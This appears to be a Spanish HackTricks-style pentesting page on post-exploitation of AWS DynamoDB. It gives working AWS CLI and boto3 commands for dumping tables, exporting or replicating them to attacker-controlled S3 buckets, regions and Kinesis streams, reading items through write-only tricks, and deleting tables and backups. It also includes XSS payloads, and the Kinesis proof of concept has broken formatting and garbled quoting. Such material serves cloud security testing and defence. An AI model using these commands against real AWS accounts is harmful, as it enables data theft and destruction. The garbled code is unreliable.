Files

21 KiB

AWS - DynamoDB Post-explotación

{{#include ../../../../banners/hacktricks-training.md}}

DynamoDB

Para más información, consulta:

{{#ref}} ../../aws-services/aws-dynamodb-enum.md {{#endref}}

dynamodb:BatchGetItem

Un atacante con este permiso podrá obtener elementos de las tablas por la clave primaria (no puedes simplemente solicitar todos los datos de la tabla). Esto significa que necesitas conocer las claves primarias (puedes obtenerlas consultando los metadatos de la tabla (describe-table)).

{{#tabs }} {{#tab name="json file" }}

aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}

{{#endtab }}

{{#tab name="inline" }}

aws dynamodb batch-get-item \
--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
--region <region>

{{#endtab }} {{#endtabs }}

Impacto potencial: Indirect privesc al localizar información sensible en la tabla

dynamodb:GetItem

Al igual que los permisos anteriores este permite a un posible atacante leer valores de una sola tabla dado la clave primaria de la entrada a recuperar:

aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
"N": "205"
}
}

Con este permiso también es posible usar el método transact-get-items como:

aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json

// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]

Impacto potencial: Indirect privesc al localizar información sensible en la tabla

dynamodb:Query

Al igual que los permisos anteriores este permite a un atacante potencial leer valores de solo 1 tabla dado la clave primaria de la entrada a recuperar. Permite usar un subset of comparisons, pero la única comparación permitida con la clave primaria (que debe aparecer) es "EQ", por lo que no puedes usar una comparación para obtener toda la base de datos en una sola solicitud.

{{#tabs }} {{#tab name="json file" }}

aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}

{{#endtab }}

{{#tab name="inline" }}

aws dynamodb query \
--table-name TargetTable \
--key-condition-expression "AttributeName = :value" \
--expression-attribute-values '{":value":{"S":"TargetValue"}}' \
--region <region>

{{#endtab }} {{#endtabs }}

Impacto potencial: privesc indirecto al localizar información sensible en la tabla

dynamodb:Scan

Puedes usar este permiso para dump toda la tabla fácilmente.

aws dynamodb scan --table-name <t_name> #Get data inside the table

Impacto potencial: privesc indirecto al localizar información sensible en la tabla

dynamodb:PartiQLSelect

Puedes usar este permiso para dump la tabla completa fácilmente.

aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"

Este permiso también permite realizar batch-execute-statement como:

aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'

pero necesitas especificar la clave primaria con un valor, por lo que no es tan útil.

Impacto potencial: Escalada de privilegios indirecta al localizar información sensible en la tabla

dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)

Este permiso permitirá a un atacante exportar toda la tabla a un bucket S3 de su elección:

aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>

Tenga en cuenta que para que esto funcione la tabla debe tener habilitado point-in-time-recovery; puede comprobar si la tabla lo tiene con:

aws dynamodb describe-continuous-backups \
--table-name <tablename>

Si no está habilitado, deberás habilitarlo y para ello necesitas el permiso dynamodb:ExportTableToPointInTime:

aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true

Impacto potencial: Privesc indirecto al localizar información sensible en la tabla

dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)

Con estos permisos, un atacante podría crear una nueva tabla a partir de una copia de seguridad (o incluso crear una copia de seguridad para luego restaurarla en una tabla diferente). Entonces, con los permisos necesarios, podría consultar la información de las copias de seguridad que ya no podrían estar en la tabla de producción.

aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>

Impacto potencial: Privesc indirecto al localizar información sensible en la copia de seguridad de la tabla

dynamodb:PutItem

Este permiso permite a los usuarios agregar un nuevo ítem a la tabla o reemplazar un ítem existente con un nuevo ítem. Si un ítem con la misma clave primaria ya existe, el ítem completo será reemplazado por el nuevo ítem. Si la clave primaria no existe, se creará un nuevo ítem con la clave primaria especificada.

{{#tabs }} {{#tab name="XSS Example" }}

## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S":  "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}

{{#endtab }}

{{#tab name="AI Example" }}

aws dynamodb put-item \
--table-name ExampleTable \
--item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \
--region <region>

{{#endtab }} {{#endtabs }}

Impacto potencial: Explotación de vulnerabilidades/bypasses adicionales al poder agregar/modificar datos en una tabla de DynamoDB

dynamodb:UpdateItem

Este permiso permite a los usuarios modificar los atributos existentes de un elemento o agregar nuevos atributos a un elemento. No reemplaza el elemento completo; solo actualiza los atributos especificados. Si la clave primaria no existe en la tabla, la operación creará un nuevo elemento con la clave primaria especificada y establecerá los atributos indicados en la expresión de actualización.

{{#tabs }} {{#tab name="XSS Example" }}

## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}

{{#endtab }}

{{#tab name="AI Example" }}

aws dynamodb update-item \
--table-name ExampleTable \
--key '{"Id": {"S": "1"}}' \
--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
--region <region>

{{#endtab }} {{#endtabs }}

Impacto potencial: Explotación de vulnerabilidades/bypasses adicionales al poder agregar/modificar datos en una tabla DynamoDB

dynamodb:DeleteTable

Un atacante con este permiso puede eliminar una tabla DynamoDB, causando pérdida de datos.

aws dynamodb delete-table \
--table-name TargetTable \
--region <region>

Impacto potencial: Pérdida de datos y interrupción de los servicios que dependen de la tabla eliminada.

dynamodb:DeleteBackup

Un atacante con este permiso puede eliminar una copia de seguridad de DynamoDB, lo que podría causar pérdida de datos en caso de un escenario de recuperación ante desastres.

aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>

Impacto potencial: Pérdida de datos e incapacidad para recuperar desde una backup durante un escenario de recuperación ante desastres.

dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords

Note

TODO: Probar si esto realmente funciona

Un atacante con estos permisos puede habilitar un stream en una tabla de DynamoDB, actualizar la tabla para comenzar a transmitir cambios y luego acceder al stream para monitorear los cambios en la tabla en tiempo real. Esto permite al atacante monitorizar y exfiltrate los cambios de datos, potencialmente conduciendo a data leakage.

  1. Habilitar un stream en una tabla de DynamoDB:
aws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
  1. Describe el stream para obtener el ARN y otros detalles:
aws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
  1. Obtén el iterador de shard usando el ARN del stream:
aws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
  1. Usa el shard iterator para acceder y exfiltrar datos del stream:
aws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>

Impacto potencial: Monitoreo en tiempo real y data leakage de los cambios de la tabla DynamoDB.

Leer items mediante dynamodb:UpdateItem y ReturnValues=ALL_OLD

Un atacante con únicamente dynamodb:UpdateItem en una tabla puede leer items sin ninguno de los permisos de lectura habituales (GetItem/Query/Scan) realizando una actualización inofensiva y solicitando --return-values ALL_OLD. DynamoDB devolverá la imagen completa del item antes de la actualización en el campo Attributes de la respuesta (esto no consume RCUs).

  • Permisos mínimos: dynamodb:UpdateItem en la tabla/clave objetivo.
  • Prerrequisitos: Debes conocer la clave primaria del item.

Ejemplo (agrega un atributo inofensivo y exfiltra el item previo en la respuesta):

aws dynamodb update-item \
--table-name <TargetTable> \
--key '{"<PKName>":{"S":"<PKValue>"}}' \
--update-expression 'SET #m = :v' \
--expression-attribute-names '{"#m":"exfil_marker"}' \
--expression-attribute-values '{":v":{"S":"1"}}' \
--return-values ALL_OLD \
--region <region>

La respuesta del CLI incluirá un bloque Attributes que contiene el elemento previo completo (todos los atributos), proporcionando efectivamente una primitiva de lectura desde un acceso solo-escritura.

Impacto potencial: Leer ítems arbitrarios de una tabla con solo permisos de escritura, permitiendo la exfiltración de datos sensibles cuando se conocen las claves primarias.

dynamodb:UpdateTable (replica-updates) | dynamodb:CreateTableReplica

Exfiltración sigilosa añadiendo una nueva replica Region a una DynamoDB Global Table (versión 2019.11.21). Si un principal puede añadir una replica regional, toda la tabla se replica a la Region elegida por el atacante, desde la cual el atacante puede leer todos los ítems.

{{#tabs }} {{#tab name="PoC (default DynamoDB-managed KMS)" }}

# Add a new replica Region (from primary Region)
aws dynamodb update-table \
--table-name <TableName> \
--replica-updates '[{"Create": {"RegionName": "<replica-region>"}}]' \
--region <primary-region>

# Wait until the replica table becomes ACTIVE in the replica Region
aws dynamodb describe-table --table-name <TableName> --region <replica-region> --query 'Table.TableStatus'

# Exfiltrate by reading from the replica Region
aws dynamodb scan --table-name <TableName> --region <replica-region>

{{#endtab }} {{#tab name="PoC (customer-managed KMS)" }}

# Specify the CMK to use in the replica Region
aws dynamodb update-table \
--table-name <TableName> \
--replica-updates '[{"Create": {"RegionName": "<replica-region>", "KMSMasterKeyId": "arn:aws:kms:<replica-region>:<account-id>:key/<cmk-id>"}}]' \
--region <primary-region>

{{#endtab }} {{#endtabs }}

Permissions: dynamodb:UpdateTable (with replica-updates) or dynamodb:CreateTableReplica on the target table. If CMK is used in the replica, KMS permissions for that key may be required.

Potential Impact: Replicación de la tabla completa a una Region controlada por el atacante, lo que puede derivar en una exfiltración sigilosa de datos.

dynamodb:TransactWriteItems (lectura mediante condición fallida + ReturnValuesOnConditionCheckFailure=ALL_OLD)

Un atacante con privilegios de escritura transaccional puede exfiltrar todos los atributos de un ítem existente realizando un Update dentro de TransactWriteItems que falla intencionadamente una ConditionExpression mientras establece ReturnValuesOnConditionCheckFailure=ALL_OLD. Al producirse el fallo, DynamoDB incluye los atributos previos en las razones de cancelación de la transacción, convirtiendo efectivamente el acceso solo-lectura en acceso de lectura sobre las claves objetivo.

{{#tabs }} {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}

# Create the transaction input (list form for --transact-items)
cat > /tmp/tx_items.json << 'JSON'
[
{
"Update": {
"TableName": "<TableName>",
"Key": {"<PKName>": {"S": "<PKValue>"}},
"UpdateExpression": "SET #m = :v",
"ExpressionAttributeNames": {"#m": "marker"},
"ExpressionAttributeValues": {":v": {"S": "x"}},
"ConditionExpression": "attribute_not_exists(<PKName>)",
"ReturnValuesOnConditionCheckFailure": "ALL_OLD"
}
}
]
JSON

# Execute. Newer AWS CLI versions support returning cancellation reasons
aws dynamodb transact-write-items \
--transact-items file:///tmp/tx_items.json \
--region <region> \
--return-cancellation-reasons
# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item

{{#endtab }} {{#tab name="PoC (boto3)" }}

import boto3
c=boto3.client('dynamodb',region_name='<region>')
try:
c.transact_write_items(TransactItems=[{ 'Update': {
'TableName':'<TableName>',
'Key':{'<PKName>':{'S':'<PKValue>'}},
'UpdateExpression':'SET #m = :v',
'ExpressionAttributeNames':{'#m':'marker'},
'ExpressionAttributeValues':{':v':{'S':'x'}},
'ConditionExpression':'attribute_not_exists(<PKName>)',
'ReturnValuesOnConditionCheckFailure':'ALL_OLD'}}])
except c.exceptions.TransactionCanceledException as e:
print(e.response['CancellationReasons'][0]['Item'])

{{#endtab }} {{#endtabs }}

Permisos: dynamodb:TransactWriteItems en la tabla objetivo (y el item subyacente). No se requieren permisos de lectura.

Impacto potencial: Leer elementos arbitrarios (por clave primaria) de una tabla usando solo privilegios de escritura transaccional a través de las razones de cancelación devueltas.

dynamodb:UpdateTable + dynamodb:UpdateItem + dynamodb:Query on GSI

Elude las restricciones de lectura creando un Global Secondary Index (GSI) con ProjectionType=ALL en un atributo de baja entropía, asignando ese atributo a un valor constante en los elementos, y luego ejecutar Query sobre el índice para recuperar los elementos completos. Esto funciona incluso si Query/Scan en la tabla base están denegados, siempre que puedas consultar el ARN del índice.

  • Permisos mínimos:
  • dynamodb:UpdateTable en la tabla objetivo (para crear el GSI con ProjectionType=ALL).
  • dynamodb:UpdateItem en las claves de la tabla objetivo (para establecer el atributo indexado en cada elemento).
  • dynamodb:Query en el ARN del recurso del índice (arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>).

Pasos (PoC in us-east-1):

# 1) Create table and seed items (without the future GSI attribute)
aws dynamodb create-table --table-name HTXIdx \
--attribute-definitions AttributeName=id,AttributeType=S \
--key-schema AttributeName=id,KeyType=HASH \
--billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
for i in 1 2 3 4 5; do \
aws dynamodb put-item --table-name HTXIdx \
--item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
--region us-east-1; done

# 2) Add GSI on attribute X with ProjectionType=ALL
aws dynamodb update-table --table-name HTXIdx \
--attribute-definitions AttributeName=X,AttributeType=S \
--global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
--region us-east-1
# Wait for index to become ACTIVE
aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
--query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'

# 3) Set X="dump" for each item (only UpdateItem on known keys)
for i in 1 2 3 4 5; do \
aws dynamodb update-item --table-name HTXIdx \
--key "{\"id\":{\"S\":\"$i\"}}" \
--update-expression 'SET #x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1; done

# 4) Query the index by the constant value to retrieve full items
aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
--key-condition-expression '#x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1

Impacto potencial: Exfiltración completa de la tabla al consultar un GSI recién creado que proyecta todos los atributos, incluso cuando las APIs de lectura de la tabla base están denegadas.

dynamodb:EnableKinesisStreamingDestination (Exfiltración continua vía Kinesis Data Streams)

Abusar de los destinos de streaming Kinesis de DynamoDB para exfiltrar continuamente los cambios de una tabla hacia un Kinesis Data Stream controlado por el atacante. Una vez habilitado, cada evento INSERT/MODIFY/REMOVE se reenvía casi en tiempo real al stream sin necesitar permisos de lectura en la tabla.

Permisos mínimos (atacante):

  • dynamodb:EnableKinesisStreamingDestination en la tabla objetivo
  • Opcionalmente dynamodb:DescribeKinesisStreamingDestination/dynamodb:DescribeTable para supervisar el estado
  • Permisos de lectura en el Kinesis stream propiedad del atacante para consumir registros: kinesis:*
PoC (us-east-1) ```bash # 1) Prepare: create a table and seed one item aws dynamodb create-table --table-name HTXKStream \ --attribute-definitions AttributeName=id,AttributeType=S \ --key-schema AttributeName=id,KeyType=HASH \ --billing-mode PAY_PER_REQUEST --region us-east-1 aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1 aws dynamodb put-item --table-name HTXKStream \ --item file:///tmp/htx_item1.json --region us-east-1 # /tmp/htx_item1.json # {"id":{"S":"a1"},"secret":{"S":"s-1"}}

2) Create attacker Kinesis Data Stream

aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1 aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1

3) Enable the DynamoDB -> Kinesis streaming destination

STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil
--region us-east-1 --query StreamDescriptionSummary.StreamARN --output text) aws dynamodb enable-kinesis-streaming-destination
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1

Optionally wait until ACTIVE

aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream
--region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus

4) Generate changes on the table

aws dynamodb put-item --table-name HTXKStream
--item file:///tmp/htx_item2.json --region us-east-1

/tmp/htx_item2.json

{"id":{"S":"a2"},"secret":{"S":"s-2"}}

aws dynamodb update-item --table-name HTXKStream
--key file:///tmp/htx_key_a1.json
--update-expression "SET #i = :v"
--expression-attribute-names {#i:info}
--expression-attribute-values {✌️{S:updated}}
--region us-east-1

/tmp/htx_key_a1.json -> {"id":{"S":"a1"}}

5) Consume from Kinesis to observe DynamoDB images

SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1
--query Shards[0].ShardId --output text) IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD"
--shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text) aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json

Decode one record (Data is base64-encoded)

jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq .

6) Cleanup (recommended)

aws dynamodb disable-kinesis-streaming-destination
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true

</details>

**Impacto potencial:** Exfiltración continua, casi en tiempo real, de los cambios de la tabla a un Kinesis stream controlado por un atacante sin operaciones de lectura directas sobre la tabla.

{{#include ../../../../banners/hacktricks-training.md}}